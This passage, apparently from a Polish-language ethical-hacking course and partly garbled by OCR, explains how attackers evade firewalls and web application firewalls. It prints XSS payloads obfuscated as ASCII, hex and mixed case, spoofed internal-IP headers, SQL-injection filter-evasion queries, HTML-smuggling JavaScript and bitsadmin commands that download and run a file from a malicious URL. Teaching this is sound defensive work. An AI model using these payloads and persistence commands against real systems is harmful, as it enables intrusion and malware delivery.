witryny. Ta metoda zawodzi, jesli oprogramowanie blokujgce sledzi adres IP wysytany do serwera
WWW.

Omin zablokowane witryny, korzystajgc zanonimowych witryn do przegladania stron internetowych

Anonimowe strony do surfowania po sieci pomagajg anonimowo przegladaé Internet i odblokowywac¢
zablokowane strony (tj. omija¢ ograniczenia zapory sieciowej). Korzystajgc z tych witryn, mozesz
anonimowo przegladaé witryny z ograniczeniami bez ujawniania swojego adresu IP. Dostepne sg rézne
anonimowe strony internetowe, z ktérych niektére zapewniajg opcje szyfrowania adreséw URL witryn.
Ponizej znajduje sie lista serwerdw proxy, ktére mogg pomédc w uzyskaniu dostepu do zablokowanych
stron internetowych. Te witryny proxy ukryjg rzeczywisty adres IP i pokazg inny adres IP, co moze
uniemozliwi¢ zablokowanie witryny, umozliwiajac w ten sposéb dostep.

Anonimizacja VPN

VPN anonimizatora kieruje caty ruch przez zaszyfrowany tunel bezposrednio z twojego laptopa, aby
zabezpieczy¢ i wzmocni¢ serwery i sieci. Nastepnie maskuje prawdziwy adres IP, aby zapewnié
catkowitg i ciggta anonimowos¢ wszystkich dziatan online.

Niektére anonimizatory online obejmuja:
https://www.free-proxy.com
https://anonimowe-serwery-proxy.net
https://zendproxy.com
https://proxify.com
http://www.guardster.com
http://anonymouse.org

Omin zapore ogniowa za pomocy serwera proxy



Kroki, ktore nalezy wykonaé, aby oming¢ zapore ogniowg za pomoca serwera proxy:
1. Znajdz odpowiedni serwer proxy

2. W systemie Windows przejdz do Panelu sterowania, wybierz Siec i Internet -> Opcje internetowe iw
oknie dialogowym Opcje internetowe w zaktadce Potgczenia kliknij ,Ustawienia sieci LAN”

3. W obszarze Ustawienia sieci LAN kliknij pole wyboru ,Uzyj serwera proxy dla swojej sieci LAN”.
4. W polu Adres wpisz adres IP serwera proxy
5. W polu Port wpisz numer portu uzywany przez serwer proxy do potgczen klienckich (domysInie 8080)

6. Kliknij, aby zaznaczy¢ pole wyboru ,,Pomijaj serwer proxy dla adreséw lokalnych”, jesli nie chcesz,
aby komputer serwera proxy byt uzywany po podtaczeniu do komputera w sieci lokalnej

7. Kliknij OK, aby zamkna¢ okno dialogowe Ustawienia sieci LAN
8. Kliknij ponownie OK, aby zamknga¢ okno dialogowe Opcje internetowe
Omijanie zapdr ogniowych za pomocg metody tunelowania ICMP

Protokot ICMP stuzy do wysytania komunikatu o btedzie do klienta. Poniewaz jest to ustuga wymagana
do komunikacji sieciowej, uzytkownicy czesto witgczaja te ustuge w swoich sieciach. Ponadto nie niesie
ze sobg istotnego zagrozenia z punktu widzenia bezpieczenstwa. Atakujacy wykorzystuje wiaczony
protokot ICMP w sieci i wykonuje tunelowanie ICMP w celu wystania swoich ztosliwych danych do sieci
docelowej. Tunel ICMP zapewnia atakujgcym petny dostep do docelowych sieci. Umozliwia
tunelowanie powtoki backdoora w czesci danych pakietow ICMP Echo. RFC 792, ktdry okresla dziatanie
protokotu ICMP, nie definiuje, co powinno znalezé sie w porcji danych. Cze$¢é fadunku jest dowolna i
nie jest sprawdzana przez wiekszos¢ zapér ogniowych. W ten sposéb dowolne dane mogga zostac
wstawione do czesci uzytecznej pakietu ICMP, w tym aplikacji typu backdoor. Niektdorzy
administratorzy pozostawiajg otwarty protokdét ICMP w swojej zaporze ogniowej, poniewaz jest on
przydatny w przypadku narzedzi takich jak ping i traceroute. Zakfadajgc, ze protokdt ICMP jest
dozwolony przez zapore ogniowa, uzyj tunelowania Loki ICMP (https://www.cisco.com), aby wykona¢
wybrane polecenia, tunelujgc je wewnatrz fadunku pakietéw echa ICMP.

Omijanie zapor ogniowych metoda tunelowania ACK

Zwykte zapory ogniowe filtrujgce pakiety definiujg swoje zestawy regut na podstawie pakietu SYN, gdy
ma zostaé nawigzana komunikacja na poziomie TCP. Dzieje sie tak dlatego, ze taki firewall zaktada, ze
od klienta pochodzi tylko pakiet SYN, a zatem prawdopodobnie zawiera ztosliwy kod w pakiecie SYN.
Te zapory ogniowe ignorujg mozliwos¢, ze osoba atakujgca moze rédwniez wstrzyknac ztosliwy kod do
pakietu ACK. Poniewaz pakiety ACK sg wysytane po ustanowieniu sesji, ruch ACK jest uwazany za
prawidtowy. Ponadto filtrowanie pakietoéw ACK jest ignorowane w celu zmniejszenia obcigzenia zapor
ogniowych, poniewaz dla jednego pakietu SYN moze przypadac wiele pakietéw ACK. Tunelowanie ACK
umozliwia tunelowanie aplikacji typu backdoor za pomocg pakietéw TCP z ustawionym bitem ACK. Bit
ACK potwierdza odebranie pakietu. Jak wspomniano wczesniej, niektdre zapory nie sprawdzajg
pakietéw z ustawionym bitem ACK, poniewaz bity ACK powinny by¢ uzywane w odpowiedzi na legalny
ruch, przez ktéry juz przepuszczono. Atakujgcy wykorzystujg ten fakt w tunelowaniu ACK.

Omijanie zapor ogniowych za pomocg metody tunelowania HTTP

Tunelowanie HTTP umozliwia atakujgcym wykonywanie rdéznych zadani internetowych pomimo

......



publiczny serwer WWW, na ktérym port 80 jest uzywany do ruchu HTTP, ktéry nie jest filtrowany przez
jej zapore ogniowaq. Atakujgcy hermetyzuje dane w ruchu HTTP (przez port 80). Wiele zapdr ogniowych
nie sprawdza fadunku pakietu HTTP, aby potwierdzi¢, ze jest on prawidtowy. W ten sposdb mozliwe
jest tunelowanie ruchu przez port TCP 80.

Dlaczego potrzebuje tunelowania HTTP?

Tunelowanie HTTP jest uzywane w scenariuszach, w ktérych uzytkownicy sieci majg ograniczong
tacznosé przez zapore ogniowq lub serwer proxy; w takich warunkach niektore aplikacje mogg réwniez
nie mie¢ natywnej obstugi komunikacji. Ograniczenia te obejmuja:

Blokowanie portéw TCP/IP, ruchu inicjowanego spoza sieci, protokotéw sieciowych z wyjgtkiem kilku
powszechnie uzywanych protokotéw itp.

Przegladanie zablokowanych stron internetowych
Anonimowe publikowanie na forach poprzez ukrywanie adresu IP

Korzystanie z aplikacji, takich jak czatowanie przez ICQ lub IRC, komunikatory internetowe, gry,
przegladarki itp.

Bezpieczne udostepnianie poufnych zasobdw przez HTTP
Pobieranie plikéw z filtrowanymi rozszerzeniami i/lub ztosliwym kodem

Wezmy na przyktad pod uwage, ze zapory firmowe ograniczajg uzytkownikom dostep do wszystkich
portdéw z wyjatkiem 80 i 443, a uzytkownik moze chcie¢ korzystaé z FTP. Tunelowanie HTTP umozliwia
korzystanie z FTP za posrednictwem protokotu HTTP. Tunel HTTP tworzy dwukierunkowe wirtualne
potgczenie danych tunelowane w ruchu HTTP. Dziata z pomocg oprogramowania klienckiego FTP,
przeprowadzajac enkapsulacje protokotéw poprzez umieszczanie pakietéw danych jednego protokotu,
takiego jak SOAP lub JRMP, w pakietach HTTP na np. lokalnym porcie 80. Pakiety te sg przesytane przez
zapore ogniowq lub serwer proxy jako normalny ruch internetowy, ktéry jest nastepnie kierowany do
oprogramowania serwera tunelowania HTTP znajdujacego sie poza siecig. Po otrzymaniu pakietéw
serwer ten rozpakowuje dane FTP i przekierowuje pakiet do zdalnego serwera FTP.

Narzedzia tunelowania HTTP
Oto niektére narzedzia do tunelowania HTTP:
Super Network Tunnel

Super Network Tunnel to dwukierunkowe oprogramowanie do tunelowania HTTP, ktére taczy dwa
komputery za pomocg HTTP-Tunnel Client i HTTP-Tunnel Server. Dziata jak tunelowanie VPN, ale
wykorzystuje protokét HTTP do nawigzania potaczenia w celu uzyskania dostepu do Internetu bez
monitorowania i zapewnia dodatkowg warstwe ochrony przed atakujgcymi, programami
szpiegujacymi, kradziezg tozsamosci i tak dalej. Moze oming¢ kazdg zapore ogniowg, aby surfowac po
Internecie, korzysta¢ z komunikatorow internetowych, gier i tak dalej. Ponadto integruje funkcje
SocksCap wraz z dwukierunkowym tunelowaniem HTTP i zdalnym sterowaniem, aby uprosci¢
konfiguracje. To narzedzie umozliwia tunelowanie HTTP, HTTPS i SOCKS dowolnej komunikacji TCP
miedzy dowolnymi systemami klient-serwer. Ruch TCP jest przesytany od klienta do serwera za
posrednictwem standardowych zgdan HTTP POST, co umozliwia przenikanie przez zapory ogniowe,
serwery proxy itd., przez ktére przeptywa ruch HTTP. Strona klienta tunelu to aplikacja kliencka Super
Network Tunnel, ktdra nastuchuje na okreslonym porcie TCP w poszukiwaniu przychodzgcych zadan.
Po nadejsciu zgdania program tworzy tunel HTTP/HTTPS do serwera i przesyta przez niego dane. Po



stronie serwera jest serwer Super Network Tunnel, ktéry po prostu przekazuje dane do zamierzonej
aplikacji odbiorcy dziatajgcej na komputerze serwera lub w sieci LAN. Zaréwno klient, jak i serwer
obstugujg jednoczesnie wiele tuneli i wiele potgczen przez ten sam tunel.

HTTPort i HTTPHost

HTTPort pozwala uzytkownikom oming¢ serwer proxy HTTP, ktdry blokuje dostep do poczty e-mail,
komunikatoréw internetowych, udostepnianie plikdw P2P, ICQ, wiadomosci, FTP, IRC i tak dalej. Tutaj
oprogramowanie internetowe jest skonfigurowane tak, aby tgczyto sie z lokalnym komputerem PC tak,
jakby byt wymaganym serwerem zdalnym. Nastepnie HTTPort przechwytuje to potgczenie i
przepuszcza je przez tunel przez serwer proxy. HTTPort moze dziata¢ na urzadzeniach takich jak
serwery proxy lub zapory ogniowe, ktdre zezwalajg na ruch HTTP. W ten sposdb HTTPort zapewnia
dostep do stron internetowych i aplikacji internetowych. HTTPort wykonuje tunelowanie przy uzyciu
jednego z dwdch trybow: trybu SSL/CONNECT lub zdalnego hosta.

W trybie SSL/CONNECT HTTPort moze samodzielnie utworzy¢ tunel przez serwer proxy. Wymaga, aby
serwer proxy obstugiwat okreslong funkcje HTTP, w szczegdlnosci CONNECT HTTP. Wiekszos¢
serwerdow proxy ma domyslnie wytgczong te metode. Tryb SSL/CONNECT jest znacznie szybszy, ale w
tym przypadku nie mozna zastosowac szyfrowania, a proxy moze Sledzi¢ wszystkie dziatania. Metoda
hosta zdalnego umoizliwia tunelowanie przez dowolny serwer proxy. HTTPort uzywa specjalnego
oprogramowania serwera o nazwie HTTHost, ktdre jest instalowane poza siecig z zablokowanym
serwerem proxy. Jest to serwer sieciowy; w zwigzku z tym, gdy HTTPort tuneluje, wysyta serie zgdan
http do HTTHost. Serwer proxy odpowiada tak, jakby uzytkownik przegladat witryne internetows, a
tym samym pozwala uzytkownikowi na to. Z kolei HTTHost wykonuje swojg potowe tunelowania i
komunikuje sie z serwerami docelowymi. Ten tryb jest znacznie wolniejszy, ale dziata w wiekszosci
przypadkdw i zapewnia silne szyfrowanie danych, ktére sprawia, ze rejestrowanie proxy jest
bezuzyteczne.

Inne narzedzia do tunelowania HTTP

o Tunna (https://github.com)

o HTTPTunnel (http://http-tunnel.sourceforge.net)

Omijanie zapdr ogniowych za pomocg metody tunelowania SSH

Tunelowanie protokotu SSH polega na wysytfaniu niezaszyfrowanego ruchu sieciowego przez tunel SSH.
Zatézmy na przyktad, ze chcesz przesyta pliki przy uzyciu niezaszyfrowanego protokotu FTP, ale
protokdt FTP jest blokowany na docelowej zaporze. Niezaszyfrowane dane mogg by¢ przesytane
zaszyfrowanym protokotem SSH przy uzyciu tunelowania SSH. Atakujacy wykorzystujg te technike do
ominiecia ograniczen zapory sieciowej. t3cza sie z zewnetrznymi serwerami SSH i tworzg tunele SSH
do portu 80 na zdalnym serwerze, omijajgc w ten sposdb ograniczenia zapory. Atakujgcy uzywajg
OpenSSH (OpenBSD Secure Shell) do szyfrowania i tunelowania catego ruchu z maszyny lokalnej do
maszyny zdalnej, aby unikng¢ wykrycia przez obwodowe kontrole bezpieczenstwa. OpenSSH jest to
zestaw programéw komputerowych zapewniajgcych szyfrowane sesje komunikacyjne za
posrednictwem komputera w sieci za pomocg protokotu SSH.

Przykfad:

ssh -f user@certifiedhacker.com -L 5000:certifiedhacker.com:25 -N



-f => tryb w tle, user@certifiedhacker.com => nazwa uzytkownika i serwer, do ktérego sie logujesz, -L
5000:certifiedhacker.com:25 => port lokalny: host: port zdalny, oraz —N => nie wykonaj polecenie w
systemie zdalnym.

Narzedzia tunelowania SSH
Ponizej wymieniono niektdre narzedzia do tunelowania SSH:
Bitvise

Bitvise SSH Server zapewnia bezpieczne zdalne logowanie do stacji roboczej i serweréw Windows
poprzez szyfrowanie danych podczas transmisji. Jest idealny do zdalnego administrowania serwerami
Windows, dla zaawansowanych uzytkownikéw, ktorzy chcg uzyskaé dostep do komputera domowego
z pracy lub komputera stuzbowego z domu, a takze do szerokiego spektrum zaawansowanych zadan,
takich jak tworzenie VPN za pomocg tunelowania SSH TCP/IP lub zapewnienie bezpiecznego depozytu
plikdw za pomoca SFTP. Bitvise SSH Client dla Windows obejmuje emulacje terminala, obstuge SFTP
graficzng i wiersza polecerr, most FTP-to-SFTP, funkcje tunelowania — w tym dynamiczne
przekazywanie portdw przez zintegrowany serwer proxy — oraz zdalng administracje serwerem SSH.

Secure Pipes

Secure Pipes to oprogramowanie do tunelowania SSH oparte na systemie OS X. Oto niektére funkcje
Secure Pipes:

o Zdalne przekierowywanie: Selektywnie otwieraj dostep do portéw aplikacji, ktére zwykle nie sg tatwo
dostepne ze wzgledu na ograniczenia sieciowe lub konfiguracyjne dostawcy ustug. Otworz drzwi, aby
szybko wykorzystac¢ OS X Server w aplikacjach internetowych, takich jak poczta e-mail i hosting WWW.

o Lokalne przekierowywanie: otwieranie portéw komunikacyjnych aplikacji dla zdalnych serweréw bez
otwierania tych portéw dla sieci publicznych. Zapewnij bezpieczerstwo komunikacji VPN z klientami i
serwerami na zasadzie ad hoc, bez ktopotdéw z konfiguracjg i zarzgdzaniem.

o Serwery proxy SOCKS: tatwa konfiguracja i zarzagdzanie serwerem proxy SOCKS dla lokalnego klienta
lub catej sieci w celu sprywatyzowania komunikacji i przezwyciezenia ograniczen sieci lokalnej. Tunele
te s3 niezbednym i lekkim narzedziem podczas podrdzy zagranicznych, przeprowadzania transakcji
walutowych lub po prostu zabezpieczania sieci lokalnej.

Omijanie zapdr ogniowych za pomocg metody tunelowania DNS

DNS dziata przy uzyciu protokotu UDP i ma limit 255 bajtéw na zapytania wychodzace. Ponadto
dopuszcza tylko znaki alfanumeryczne i tgczniki. Tak niewielkie ograniczenia dotyczgce zewnetrznych
zapytan sprawiajg, ze DNS jest idealnym wyborem do przeprowadzania eksfiltracji danych przez rézne
ztodliwe podmioty. Poniewaz uszkodzone lub ztosliwe dane mogg byé potajemnie osadzane w
pakietach protokotu DNS, nawet DNSSEC nie moze wykry¢ nieprawidtowosci w tunelowaniu DNS. Jest
skutecznie wykorzystywany przez ztosliwe oprogramowanie do omijania zapory ogniowej w celu
utrzymania komunikacji miedzy zaatakowang maszyng a serwerem C&C.

Narzedzia takie jak NSTX ( https://sourceforge.net ), Heyoka ( https://sourceforge.net ) i lodine (
https://code.kryo.se) uzyj tej techniki tunelowania ruchu przez port DNS 53.

Omijanie zapdr ogniowych przez systemy zewnetrzne

Atakujgcy mogg omingé ograniczenia zapory sieci docelowych z zewnetrznego systemu, ktéry ma
dostep do sieci wewnetrznej. Tym systemem zewnetrznym moze by¢:



Domowa maszyna i pracownika

Maszyna prowadzgaca zdalng administracje sieci docelowej

Maszyna z sieci firmowej, ale zlokalizowana w innym miejscu

Kroki, ktore nalezy wykonaé, aby omingé zapore ogniowa przez systemy zewnetrzne:

1. Uprawniony uzytkownik wspoétpracuje z jakims zewnetrznym systemem, aby uzyskac dostep do sieci
korporacyjnej

2. Atakujacy sniffuje ruch uzytkownika i kradnie identyfikator sesji oraz pliki cookie

3. Atakujacy uzyskuje dostep do sieci korporacyjnej z pominieciem zapory i uzyskuje identyfikator
systemu Windows procesu Mozilla dziatajgcego w systemie uzytkownika

4. Atakujacy nastepnie wydaje polecenie OpenURL() do znalezionego okna
5. Przegladarka internetowa uzytkownika zostaje przekierowana na serwer WWW atakujgcego

6. Ztosliwy kod osadzony na stronie internetowej atakujgcego jest pobierany i uruchamiany na
komputerze uzytkownika

Omijanie zapdr ogniowych poprzez ataki MITM

Wiekszos¢ administratorow bezpieczenstwa koncentruje sie na mozliwosci ominiecia zapory przez sie¢
zewnetrzng lub wewnetrzng, ignorujagc fakt, ze zapory mozna omingé za pomocg atakéw MITM na
serwery DNS. W atakach MITM napastnicy uzywaja serwerdw DNS i technik routingu, aby omingé
ograniczenia zapory. Mogg przejac korporacyjny serwer DNS lub sfatszowaé odpowiedzi DNS w celu
przeprowadzenia ataku zapory MITM.

Kroki, ktore nalezy wykona¢, aby omingé zapore ogniowg poprzez ataki MITM:

1. Atakujacy przeprowadza zatruwanie serwera DNS

2. Uzytkownik A zada adresu www.certifiedhacker.com z korporacyjnego serwera DNS
3. Korporacyjny serwer DNS wysyta adres IP (127.22.16.64) atakujgcego

4. Uzytkownik A uzyskuje dostep do ztosliwego serwera atakujgcego

5. Atakujacy faczy sie z prawdziwym hostem i tuneluje ruch HTTP uzytkownika

6. Ztosliwy kod osadzony na stronie internetowej atakujacego jest pobierany i uruchamiany na
komputerze uzytkownika

Omijanie zapdr ogniowych przez zawartos¢

W tej metodzie atakujgcy wysyta uzytkownikowi zawartos¢ zawierajgca ztosliwy kod i naktania go do
otwarcia jej w celu wykonania szkodliwego kodu. Na przyktad osoba atakujgca moze wysta¢ wiadomos¢
e-mail zawierajgcg ztosliwy plik wykonywalny lub dokument pakietu Microsoft Office, ktéry umozliwia
wykorzystanie luki w zabezpieczeniach obejscia makr. Atakujgcy mogg rowniez atakowac serwery
WWW(/FTP i osadzaé pliki koni trojanskich jako pliki instalacyjne oprogramowania, oprogramowanie
telefonéw komadrkowych itd., aby zwabi¢ uzytkownikéw do uzyskania do nich dostepu. Istnieje wiele
formatéw plikéw tekstowych, multimedialnych i graficznych, ktérych mozna uzy¢ do przenoszenia
ztosliwych tresci. Powszechnie uzywane formaty plikéw do przenoszenia szkodliwych tresci to:



EXE, COM, BAT, PS, PDF CDR (Corel Draw)
DVB, DWG (AutoCAD)

SMM (AMI Pro)

DOC, DOT, CNV, ASD (MS Word)

XLS, XLB, XLT (MS Excel)

ADP, MDA, MDB, MDE, MDN, MDZ (dostep MS)
VSD (Visio)

MPP, MPT (projekt MS)

PPT, PPS, POT (MS PowerPoint)

MSG, OTM (MS Outlook)

Omijanie WAF za pomoca ataku XSS

Atak XSS wykorzystuje luki, ktdre pojawiajg sie podczas przetwarzania parametréw wejsciowych
uzytkownikéw koncowych i odpowiedzi serwera w aplikacji internetowej. Atakujgcy wykorzystujg te
luki, aby wstrzyknac ztosliwy kod HTML do witryny ofiary, aby omingé WAF.

Uzywanie wartosci ASCIl do ominiecia WAF

W tej technice atakujgcy uzywajg znakdw ASCIl, aby omingé WAF. WeZmy na przyktad nastepujacy
tadunek XSS

<script>alert("XSS")</script>

Gdy powyiszy kod JavaScript jest wykonywany, filtry WAF unikajg pojedynczych cudzystowéw,
podwdjnych magicznych cudzystowdw itp. W zwigzku z tym powyzszy fadunek jest filtrowany przez
WAF. Aby oming¢ WAF, musimy przekonwertowac powyzszy fadunek na odpowiadajgce mu wartosci
ASCII, a nastepnie go wykonac. JavaScript automatycznie przekonwertuje wartosci ASCIl z powrotem
na oryginalne znaki. Atakujacy uzywajg witryn internetowych do konwersji tadunku XSS na jego
odpowiednik ASCII. Alternatywnie, dodatek Hackbar Mozilla moze by¢ uzyty do uzyskania wartosci
ASCII. Rozwaz fadunek XSS podany ponizej:

XSS Payload:alert("XSS")

Réwnowazne wartosci ASCII to:

String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)

Powyzsze wartosci sy wstawiane do tadunku XSS:

<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)</script>
Powyzszy tadunek pomyslnie omija filtry WAF.

Uzywanie kodowania szesnastkowego do ominiecia WAF

W tej technice caty tadunek XSS jest zastepowany wartosciami Hex, aby oming¢ WAF.

Atakujacy wykorzystujg strony internetowe, takie jak



http://www.convertstring.com/EncodeDecode/HexEncode, aby przekonwertowaé tadunek XSS na
rownowazne wartosci szesnastkowe. Wezmy na przyktad nastepujacy fadunek XSS

<script>alert("XSS")</script>

Zakodowana wartos$¢ tadunku XSS to
%3C%73%63%69%72%70%74%3E%61%6C%65%72%74%28%22%58%53%53%22%29%3C%2F%73%6
3%72%69%70%74%3E

Powyzszy tadunek pomysinie omija filtry WAF.

Uzywanie zaciemniania do ominiecia WAF

Atakujgcy wykorzystujg technike zaciemniania, aby omingé WAF. W tej technice atakujacy uzywajg
kombinacji wielkich i matych liter w tadunku XSS. WeZmy na przyktad nastepujgcy tadunek XSS:

<script>alert("XSS")</script>

Uzywajgc zaciemniania, powyzszy tadunek jest zastepowany przez
<sCRiPt>aLeRT("XSS")</sCriPT>

Powyzszy tadunek pomysinie omija WAF.

Uzywanie fatszowania nagtéwkow HTTP

Zapory aplikacji internetowych zezwalajg na okreslone zapytania i sktadnie pochodzace z adreséw
wewnetrznych. Pozwalaja réwniez na szybkie debugowanie aplikacji na srodowiskach testowych.
Atakujacy naduzywajg tej funkcji do wysytania zgdan ze sfatszowanymi nagtéwkami, aby oszukac
docelowy WAF i serwer, aby uwierzyli, ze zgdanie pochodzi z ich sieci wewnetrznej. Nastepujgce
nagtéwki rozszerzen sg automatycznie dotgczane do zadan, ktdre atakujgcy moga wykorzystaé do
obejscia WAF:

X-Originating-1P: 127.0.0.1

X-Forwarded-For: 127.0.0.1

X-Remote-IP: 127.0.0.1

X-Remote-Addr: 127.0.0.1

Atakujacy uzywajg narzedzi takich jak Burp Suite do wykorzystywania nagtéwkdéw HTTP i omijania WAF.
Korzystanie z wykrywania czarnej listy

Atakujgcy mogg naduzywac mechanizmu wykrywania czarnej listy WAF, aby oming¢ WAF. W tym celu
atakujacy wykorzystujg odcisk palca docelowego WAF, aby zidentyfikowaé stowa kluczowe znajdujace
sie na czarnej liscie. Identyfikujac stowa kluczowe z czarnej listy, osoby atakujgce tworzg nowe
wyrazenia regularne i tadunki ze stowami kluczowymi, ktérych nie ma na czarnych listach.

Przyktady:
o Lista przefiltrowanych stéw kluczowych: and, or, union
Nastepujace zapytanie SQL jest zablokowane:

union select username, pwd from employees



Zapytanie SQL, ktore unika wykrycia:

1 || (select username, pwd from employees where userID = 1001)
="'admin’

o Lista przefiltrowanych stéw kluczowych: and, or, union, where, limit
Nastepujace zapytanie SQL jest zablokowane:

1 || (select username from employees limit 1) = 'admin’

Zapytanie SQL, ktére unika wykrycia:

1 || (select username from employees group by userID having

userlD =1001) = 'admin’

Uzywanie fuzzingu/brute-forcingu

W tej technice atakujgcy testujg docelowy WAF z wieloma znanymi fadunkami, aby unikngé WAF. WAF
moze tatwo wykryé préby fuzzingu/brute-force. Aby temu zapobiec, atakujgcy najpierw wysytajg
tadunki do WAF podtgczonego do ich sieci lokalnej w celu zidentyfikowania tadunkéw, ktére mozna
wykorzystaé do unikania atakdw. Nastepnie wysytajg te fadunki do docelowego WAF w celu unikniecia.
W tym procesie atakujgcy uzywajg list stow, takich jak SecLists Fuzzing Database (https://github.com)
i FuzzDB Attack Patterns (https://github.com), aby wykona¢ fuzzing w sieci docelowej. Atakujgcy
najpierw tadujg liste stéw do fuzzera, aby rozpoczgé préby brutalnego wymuszenia. Rejestrujg
wszystkie odpowiedzi otrzymane dla rozmytych fadunkdéw. Teraz uziywajg losowych agentéw
uzytkownika i tancuchdéw proxy, aby unikng¢ WAF.

Naduzywanie szyfréw SSL/TLS

w niektérych przypadkach docelowe serwery internetowe akceptujg potaczenia z réznymi szyframi
SSL/TLS, ale zapora filtrujgca moze nie obstugiwaé wszystkich szyfréw obstugiwanych przez serwer.
Atakujgcy wykorzystujg te luke, aby omingé WAF. Po pierwsze, atakujgcy $ledzg docelowy WAF, aby
zidentyfikowac obstugiwane szyfry, czytajgc dokumentacje dostawcy. Nastepnie uzywajg narzedzi
takich jak sslscan (https://github.com) do wykrywania szyfréw obstugiwanych przez serwer WWW.
Jesli atakujacy zidentyfikujg szyfr obstugiwany przez serwer WWW i nieobstugiwany przez WAF, uzyja
tego szyfru do obejscia WAF i nawigzania pofaczenia z serwerem docelowym. Atakujgcy uzywaja
narzedzi takich jak abuse-sslbypass-waf.py (https://github.com) i curl (https://curl.se), aby
przeprowadzi¢ ten atak.

Omijanie zap6r ogniowych poprzez HTML Smuggling

HTML Smuggling to rodzaj ataku sieciowego, w ktédrym osoba atakujgca wstrzykuje zto$liwy kod do
skryptu HTML w celu przejecia kontroli nad strong internetowa. Atak ten umozliwia atakujgcym
manipulowanie funkcjami koddéw skryptowych (HTML5, JavaScript itp.) i ukrywanie sie przed
rozwigzaniami SIEM, zaporami ogniowymi, serwerami proxy sieci Web i bramami poczty e-mail. Celem
przemytu HTML jest pomysine zainstalowanie ztosliwego oprogramowania w systemie docelowym,
gdy ofiara uzyska dostep do ztosliwego tgcza wystanego za posrednictwem poczty phishingowej. Osoba
atakujgca tworzy ztosliwe tacze, opracowujgc obiekt blob oparty na JavaScript z kompatybilnym MIME,
ktéry jest ustawiony na automatyczne pobieranie ztosliwego oprogramowania. Po uruchomieniu
ztodliwe oprogramowanie zapewnia atakujgcemu zdalny dostep w celu przeprowadzenia trwatych
atakow.



Dziatanie HTML Smuggling

Atakujacy inicjujg atak, umieszczajgc ztosliwe oprogramowanie w zatgczniku HTML5S lub na stronie
internetowej. Gdy ofiara kliknie ztosliwy link, specjalnie spreparowane ztosliwe oprogramowanie
uruchamia sie w systemie ofiary.

<a href="malicious.doc" download="Myfile.doc">Kliknij</a>

Uruchomione ztosliwe oprogramowanie jest zapisywane na urzgdzeniu pod niepodejrzang nazwa.
Atakujacy przeprowadzajg réwniez przemyt HTML przy uzyciu JavaScript, jak pokazano ponizej:

var myAnchorElement = document.createElement('a’);
myAnchorElement.download = 'Myfile.doc';

W tym przypadku ztosliwy plik jest tworzony przy uzyciu JavaScript Blob. W tym przypadku zamiast
podawania adresu URL ztosliwego pliku do pobrania, sam plik mozna zbudowac¢ z obiektu Blob.

var fakeBlob = new Blob([myfakeFile], {type: 'octet/stream'});
var document.createElement('a’);

Nastepnie osoby atakujgce tworzg adres URL za pomocg nastepujgcego polecenia, aby naktoni¢ ofiary
do pobrania ztosliwego pliku.

var myfileUrl= window.URL.createObjectURL(fakeBlob);myAnchor.href = myfileUrl; myAnchor.click();

Zapora obwodowa oczekuje ruchu JavaScript i HTML od klientéw. JavaScript w rzeczywistosci ukrywa
zawartosc obiektu blob, aby unikng¢ wykrycia i umozliwia potaczenie ze ztosliwym serwerem.

Oznaki HTML Smuggling

Oto oznaki przemytu zatacznikdw HTML przemycajacych ztosliwe oprogramowanie:
Plik ZIP z JavaScript

Zaszyfrowany zatacznik

Istnienie podejrzanego kodu skryptu w pliku HTML

Dekodowanie pliku opartego na HTML przy uzyciu Base64

Srodki zaradcze

Blokuj automatyczne wykonywanie plikéw .js i .jse.

Upewnij sie, ze filtrowanie poczty e-mail ustugi Office 365 aktywnie blokuje automatyczne pobieranie
zatadowanego ztosliwego oprogramowania maila.

Sprawdz dziatanie obwodowe urzadzen zabezpieczajgcych, takich jak zapora ogniowa i ograniczenie
proxy dowolne potaczenia serwera z Internetem.

Pole¢ uzytkownikowi dostep do przegladarki internetowej aktywowanej za pomocg ustugi Microsoft
Defender SmartScreen i ochrona sieci w celu zapobiegania i blokowania zto$liwego dostepu.

WHtacz ochrone opartg na dostarczaniu w chmurze przy uzyciu technologii Al i ML do identyfikacji i
nieche¢ do zagrozen.

Omijanie zapdr ogniowych przez Windows BITS



W $rodowisku Windows ustuga inteligentnego transferu w tle (BITS) jest standardowg ustugg uzywang
do dystrybucji automatycznych aktualizacji systemu Windows do globalnych uzytkownikéw. Oprocz
zalet, ustuga BITS moze by¢ réwniez wykorzystywana przez atakujgcych do omijania zapér ogniowych,
poniewaz organizacje wolg ignorowac ruch BITS, poniewaz obejmuje on ciggty strumien aktualizacji
oprogramowania. Wraz z produktami firmy Microsoft ustuga umozliwia réwniez przeglgdarkom Firefox
i Chrome dalsze pobieranie i aktualizowanie ich najnowszych wersji, nawet jesli przegladarka jest
zamknieta. Ta ustuga moze by¢ legalna, ale atakujgcy mogg jg réwniez wykorzysta¢ do uruchamiania
ztosliwych aplikacji lub backdoora w celu obejscia rozwigzan bezpieczeristwa i przejecia kontroli nad
systemem. W kontekscie procesu hosta ustugi pliki s pobierane lub przesytane, gdy ztosliwe
oprogramowanie ustanawia zadania BITS. Moze to umozliwié atakujgcym ominiecie zapdr ogniowych,
a takze ukrycie transferu tadunku.

Jak atakujacy wykorzystujg BITS?

Transfery BITS sg asynchroniczne; program, ktéry ustanowit zadanie, moze nie by¢ aktywny w tle po
wykonaniu zgdanego transferu. Dowolny plik wykonywalny lub polecenie mozna okresli¢ za pomoca
polecen powiadomien powigzanych z zadaniami BITS. Ta funkcja moze by¢ wykorzystywana przez
osoby atakujgce do utrzymywania dziatania ztosliwych programoéw. Zadania BITS mozna ustanowic za
pomocg interfejsu opartego na poleceniach bitsadmin lub wywotan funkcji API.

Pobieranie ztosliwego pliku binarnego

Uruchom nastepujacg komende bitsadmin, aby utworzy¢ zadanie, przestaé szkodliwy plik do systemu
zdalnego i zapisaé go w okreslonej lokalizacji.

o Tworzenie wytrwatosci

Uruchom nastepujgce polecenia, aby ustanowié¢ trwatos¢ na maszynie docelowej, okreslajac
powiadomienie.

/create persistence

/addfile persistence <Malicious URL> <Local Path>
/SetNotifyCmdLine persistence CLocal Path> NULL
/resume persistence

Gdy szkodliwy tadunek lub program jest w akcji, moze tworzy¢ okreslone zadania, takie jak planowanie
zadan, ktoére sg ustawione do wykonania w kolejce. Poniewaz zadania te dziatajg na poziomie systemu,
mozna je uznac za zadania zaufane i mogg one omijac rozwigzania zabezpieczajace, takie jak zapory
ogniowe.

Srodki zaradcze:

o Uzyj programu BitsParser do oceny wszystkiego, co przechodzi przez BITS,

